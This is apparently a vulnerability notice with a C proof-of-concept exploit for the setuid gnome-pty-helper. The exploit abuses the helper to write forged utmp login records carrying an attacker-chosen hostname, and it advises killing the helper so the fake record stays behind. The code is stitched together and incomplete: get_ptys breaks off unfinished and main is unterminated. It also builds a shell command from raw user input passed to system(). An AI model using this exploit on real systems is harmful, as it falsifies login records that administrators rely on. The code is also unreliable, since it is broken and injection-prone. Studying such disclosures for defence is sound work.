"gnome-pty-helper is a program that setuid application used to open a pseudo-terminal, set the permissions, owner-ship and record user login information."
gnome-pty-helper can be made to write utmp/wtmp records with arbitrary DISPLAY (host) settings.
gnome-pty-helper allows attackers to spoof a local UTMP hostname due to a failure of the application to properly validate user-supplied data prior to using it to update UTMP records.
static void *
get_ptys (int *master, int *slave, int update_wutmp)
{
GnomePtyOps op;
int result, n;
void *tag;
if (helper_pid == -1)
return NULL;
if (helper_pid == 0){
if (s_pipe (helper_socket_protocol) == -1)
return NULL;
if (s_pipe (helper_socket_fdpassing) == -1){
close (helper_socket_protocol [0]);
close (helper_socket_protocol [1]);
return NULL;
}
helper_pid = fork ();
if (helper_pid == -1){
close (helper_socket_protocol [0]);
close (helper_socket_protocol [1]);
close (helper_socket_fdpassing [0]);
close (helper_socket_fdpassing [1]);
return NULL;
}
if (helper_pid == 0){
close (0);
close (1);
dup2 (helper_socket_protocol [1], 0);
dup2 (helper_socket_fdpassing [1], 1);
/* Close aliases */
close (helper_socket_protocol [0]);
close (helper_socket_protocol [1]);
close (helper_socket_fdpassing [0]);
close (helper_socket_fdpassing [1]);
execl ("/usr/sbin/gnome-pty-helper", "gnome-pty-helper", NULL);
exit (1);
} else {
close (helper_socket_fdpassing [1]);
close (helper_socket_protocol [1]);
/*
* Set the close-on-exec flag for the other
* descriptors, these should never propagate
* (otherwise gnome-pty-heler wont notice when
* this process is killed).
*/
fcntl (helper_socket_protocol [0], F_SETFD, FD_CLOEXEC);
fcntl (helper_socket_fdpassing [0], F_SETFD, FD_CLOEXEC);
}
}
op = GNOME_PTY_OPEN_NO_DB_UPDATE;
if (update_wutmp & ZVT_TERM_DO_UTMP_LOG){
if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
op = GNOME_PTY_OPEN_PTY_LASTLOGUWTMP;
else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
op = GNOME_PTY_OPEN_PTY_UWTMP;
else if (update_wutmp & ZVT_TERM_DO_LASTLOG)
op = GNOME_PTY_OPEN_PTY_LASTLOGUTMP;
else
op = GNOME_PTY_OPEN_PTY_UTMP;
} else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG) {
if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
op = GNOME_PTY_OPEN_PTY_LASTLOGWTMP;
else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
op = GNOME_PTY_OPEN_PTY_WTMP;
} else
if (update_wutmp & ZVT_TERM_DO_LASTLOG)
op = GNOME_PTY_OPEN_PTY_LASTLOG;
int main (int argc, char* argv[])
{
int slave_pty, master_pty;
void* mytag;
int log = ZVT_TERM_DO_UTMP_LOG;
char buf[1000];
printf("Writing utmp (who) record for DISPLAY=%s\n", argv[1]);
setenv("DISPLAY",argv[1],1);
if ((mytag = get_ptys (&master_pty, &slave_pty, log)) == NULL)
return;
sprintf(buf,"who | grep %s",argv[1]);
printf("Running %s\n",buf);
system(buf);
printf("utmp (who) record will be cleaned up when we exit.\n");
printf("To leave it behind, kill gnome-pty-helper: kill %d\n",helper_pid);